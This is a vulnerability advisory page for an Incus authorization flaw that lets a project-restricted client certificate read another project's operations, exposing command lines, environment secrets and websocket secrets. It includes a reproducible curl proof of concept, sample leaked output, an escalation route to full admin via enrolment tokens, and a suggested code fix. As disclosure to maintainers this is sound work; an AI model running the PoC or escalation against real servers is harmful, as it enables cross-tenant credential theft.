All vulnerabilities
GHSA-mfwv-x733-9446

github.com/lxc/incus/v7/cmd/incusd: Authorization bypass lets a restricted client read any operation in another project

github.com/lxc/incus/v7/cmd/incusd
CVSS
6.3Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed inNone listedNo source names a fixed version yet
Published25 Sep 2026Updated 25 Sep 2026GitHub

What fixes it

No source in this snapshot names a fixed version.

Description

Summary

**Broken Authorization (CWE-862, Missing Authorization) on GET /1.0/operations/{uuid}.** The handler performs no authorization of any kind. Any authenticated client — including a TLS client certificate restricted to a single project — can read the full contents of any in-flight operation in any other project, including the command line, the environment variables and the websocket secrets the operation carries.

operationGet is registered under allowAuthenticated, which your own code documents as deferring the real decision to the handler. The handler never makes one.

Affected

| Line | Range | Verified | |---|---|---| | Feature | >= v0.2.0, through v7.4.0 | runtime, 7.4.0 from your apt repository | | LTS 6.0 | v6.0.0 – v6.0.6, stable-6.0 HEAD | runtime, 6.0.6 from your apt repository | | 7.0 | v7.0.0, v7.0.1, stable-7.0 HEAD | source | | main | dd19d9938 | source |

The check has never existed. operationGet is 53 lines with zero authorizer calls at every tag from v6.0.0 to v7.4.0 and on all three branch heads. v0.2.0 is the first release containing 613f937dc, which is where operations authorization was introduced — so it is the first release in which Incus claims to authorize operations and does not authorize this one.

One question on the range rather than an assertion: doc/support.md still describes 6.x as the feature line and refers to a future 7.0 LTS, while stable-7.0 already carries point releases. Please confirm whether 7.0 is a supported line before the advisory range is published.

Contrast, on one URL, one certificate, one instant

A client certificate restricted to project attacker. A container victim-box in project victim. An admin starts an exec in victim carrying a marker in its environment. Then, as the restricted certificate:

--- attacker GET    /1.0/operations/7a8fca8a-ff78-49a1-af51-fd73cf56aee1   -> 200
--- attacker GET    .../wait?timeout=1                                     -> 200
--- attacker DELETE /1.0/operations/7a8fca8a-ff78-49a1-af51-fd73cf56aee1   -> 403

--- DELETE error body:
{"error_code":403,"error":"User does not have permission for project \"victim\""}

--- contents returned by the GET that was allowed, after the DELETE was denied:
{"instances":["/1.0/instances/victim-box?project=victim"]}
{"DB_PASSWORD":"s3cr3t-victim-value","HOME":"/root","LANG":"C.UTF-8","USER":"root","PATH":"..."}
{"0":"c5c793028efb9e0691423dfcd2a36e6dc18031b1408211ed8aa80308a7aef2a1",
 "1":"e557d78cd9a22790759e6997f1fdcdb9a5f22c41d811e588a3d96ea9021fffd7",
 "2":"edf04a0ae7d90ed45e31b322d9be311dfaef2683e5be6676bc07bab34c0caf34",
 "control":"afa5bb2ed82f416c563d6f8881a4f5a01c3d66ad14ca3b5ce3f7c90e50c4d85b"}

DELETE refuses by project. GET on the same URL, from the same certificate, in the same second, hands over the victim's command line, environment and websocket secrets.

Root cause

cmd/incusd/operations.go registers three actions under allowAuthenticated:

33:	Delete: APIEndpointAction{Handler: operationDelete, AccessHandler: allowAuthenticated},
34:	Get:    APIEndpointAction{Handler: operationGet,    AccessHandler: allowAuthenticated},
40:	Get:    APIEndpointAction{Handler: operationsGet,   AccessHandler: allowAuthenticated},

cmd/incusd/daemon.go:275 states the contract:

> allowAuthenticated is an AccessHandler which allows only authenticated requests. This should be used in conjunction with further access control within the handler (e.g. to filter resources the user is able to view/edit).

Two of the three do that. operationDelete resolves the project from op.Project(), reads op.Permission(), builds an auth.NewObject per resource and calls s.Authorizer.CheckPermission (operations.go:280-306). operationsGet takes a GetPermissionChecker for auth.EntitlementCanViewOperations and filters every local and remote operation through it (operations.go:538, :556, :584).

operationGet (operations.go:181) resolves the operation out of the global UUID-keyed map and renders it:

	op, err := operations.OperationGetInternal(id)
	if err == nil {
		_, body, err = op.Render()
		if err != nil {
			return response.SmartError(err)
		}

		return response.SyncResponse(true, body)
	}

No op.Project(), no op.Permission(), no authorizer call, no read of ?project=. The map is global, so the UUID alone selects the object.

This is not a regression. git log -S puts it at the commit that introduced operations authorization: 613f937dc, 2023-10-25, *"lxd: Update authorization for operations"* — a single-file, 34-line diff with four hunks. One hunk adds the check to operationDelete; three add the checker and its two filter sites to operationsGet. operationGet sits 77 lines above the operationDelete hunk in that same diff and is not touched. The list and the destructive verb were authorized; the read was walked past.

Impact

A tenant holding a restricted certificate — the mechanism Incus ships specifically to confine a client to its own projects — reads, from any other project on the server:

  • the full command line of any running exec, including anything passed as an argument;
  • the complete environment of that command, which is where deployment tooling puts database passwords, API tokens and cloud credentials;
  • the fds secrets for the operation's websockets, and the operation's resource URLs, which name instances and volumes in the other project.

Escalation to full server admin, demonstrated. incus config trust add creates a Running operation whose metadata *is* the enrolment token. Reading that operation yields the token; the token enrols a fresh, unrestricted client certificate. From the restricted certificate we read such an operation, reassembled the token, enrolled a new certificate, and then read the victim's instance (HTTP 200) and listed every project on the server.

We are not pricing that chain into the score below, because it needs a trust-token operation to be pending at the moment of the read, and that is operator timing rather than code. It is reported because it bounds what the primitive is worth, not because we are claiming it.

Limitation, stated plainly. The attacker must know the operation's UUID and cannot get it from Incus. uuid.New() (internal/server/operations/operations.go:138) is crypto/rand-backed UUIDv4, 122 bits. We verified that a restricted certificate sees nothing through any enumeration path: /1.0/operations?project=attacker, ?all-projects=true and ?project=victim all return empty, and the victim's instance is correctly refused with 403. The UUID must come from outside — an operator's shell history or CI log, the Location header of an async response passing through a proxy or APM trace, incus monitor output pasted into a ticket, a former project membership, or a co-tenant on a shared automation account. No victim interaction is required after that.

This is the same gating you accepted in CVE-2026-81501, whose text reads: *"the 64-hex fingerprint is not returned by GET / list to a caller without CanView. The attacker must obtain it out of band (logs, backups, a former project membership, a predictable custom image, etc.). No victim interaction is required after that."*

Suggested fix

Give operationGet the check operationDelete already performs. The finished handler, with the existing body unchanged below it:

func operationGet(d *Daemon, r *http.Request) response.Response {
	s := d.State()

	id, err := pathVar(r, "id")
	if err != nil {
		return response.SmartError(err)
	}

	var body *api.Operation

	// First check if the query is for a local operation from this node
	op, err := operations.OperationGetInternal(id)
	if err == nil {
		projectName := op.Project()
		if projectName == "" {
			projectName = api.ProjectDefaultName
		}

		err = s.Authorizer.CheckPermission(r.Context(), r, auth.ObjectProject(projectName), auth.EntitlementCanViewOperations)
		if err != nil {
			return response.SmartError(err)
		}

		_, body, err = op.Render()
		if err != nil {
			return response.SmartError(err)
		}

		return response.SyncResponse(true, body)
	}

CanViewOperations is the entitlement operationsGet already uses for exactly this question, so the read path and the list path end up answering it the same way. Using op.Permission() as operationDelete does would also work and would be stricter; CanViewOperations is suggested because it matches the verb.

The cluster-forwarding branch below it inherits the fix for free: the remote member runs operationGet too and will apply the same check to the forwarded identity.

operationWaitGet (operations.go:46) is registered AllowUntrusted: true and returns the same rendered object on completion. It needs the same treatment or the fix is bypassable by waiting instead of getting. We have not tested that path against a fix and are flagging it rather than asserting it.

Dedup

We could find no published advisory of yours covering operations. The fourteen published between 2026-07-30 and 2026-08-27 are image import, backup import, volume import, cross-project instance copy, migration config override, network address sets, idmap isolation, nvidia capabilities, VM template paths, image symlinks and fingerprints, and a CLI traversal. If this duplicates something already in your queue, please say so and close it — we would rather know than have you carry two.

PoC

Full sequence, reproducible on a clean install. Run as the server admin except where marked.

# --- setup, as admin -------------------------------------------------------
incus project create victim
incus project create attacker
incus launch images:debian/12 victim-box --project victim

# a client certificate restricted to project "attacker"
incus config trust add --name attacker --restricted --projects attacker
# enrol that token from the client, then confirm the restriction:
incus query /1.0/certificates/<fingerprint>
#   { "name": "attacker", "restricted": true, "projects": [ "attacker" ] }

# --- controls: the restriction works ---------------------------------------
# as the attacker certificate
curl --cert attacker.crt --key attacker.key -k \
  "https://SERVER:8443/1.0/instances/victim-box?project=victim"
#   403 User does not have permission for project "victim"

for q in "project=attacker" "all-projects=true" "project=victim"; do
  curl --cert attacker.crt --key attacker.key -k \
    "https://SERVER:8443/1.0/operations?$q"
done
#   {} {} {}          the operation is invisible through every listing

curl -k "https://SERVER:8443/1.0/operations/$OPID"      # no client cert
#   403

# --- the finding -----------------------------------------------------------
# as admin, start a command in the victim project carrying a marker
incus exec victim-box --project victim --env DB_PASSWORD=s3cr3t-victim-value -- sleep 600 &
OPID=$(incus operation list --project victim --format csv | head -1 | cut -d, -f1)

# as the attacker certificate, same URL, two verbs
curl --cert attacker.crt --key attacker.key -k \
  -X DELETE "https://SERVER:8443/1.0/operations/$OPID"
#   403 User does not have permission for project "victim"

curl --cert attacker.crt --key attacker.key -k \
  "https://SERVER:8443/1.0/operations/$OPID"
#   200, and the body contains:
#     resources.instances -> /1.0/instances/victim-box?project=victim
#     metadata.environment.DB_PASSWORD -> s3cr3t-victim-value
#     metadata.fds -> 0, 1, 2, control

Verified identically on 7.4.0 and on 6.0.6, both installed from your apt repository. Both lab containers were destroyed after the run.

Severity

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N — 6.3 Medium.

This is set to parity with your own scoring of CVE-2026-81501, which carries the identical vector, rather than argued upward. Metric by metric:

  • AV:N — the HTTPS API, reachable from wherever the client is.
  • AC:H — the 122-bit UUID must be obtained out of band. This is the metric doing the work, and it is the same one you applied to the out-of-band fingerprint in CVE-2026-81501.
  • PR:L — a valid, enrolled client certificate. Not unauthenticated: allowAuthenticated refuses an untrusted client on this URL, and we checked.
  • UI:N — no victim interaction once the UUID is held.
  • S:C — the vulnerable component is the API's authorization layer; the impacted component is another project, which is the isolation boundary Incus sells.
  • C:H / I:N / A:N — the endpoint is read-only. Secrets of arbitrary value are returned.

If you prefer to price the demonstrated trust-token chain, the vector becomes CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H = 8.5 High. We are not proposing it, for the reason given under Impact, but it is the honest ceiling and the decision is yours.

Text from GitHub Advisory Database

Affected versions 1

  • github.com/lxc/incus/v7/cmd/incusd, go< v7.5.0GitHub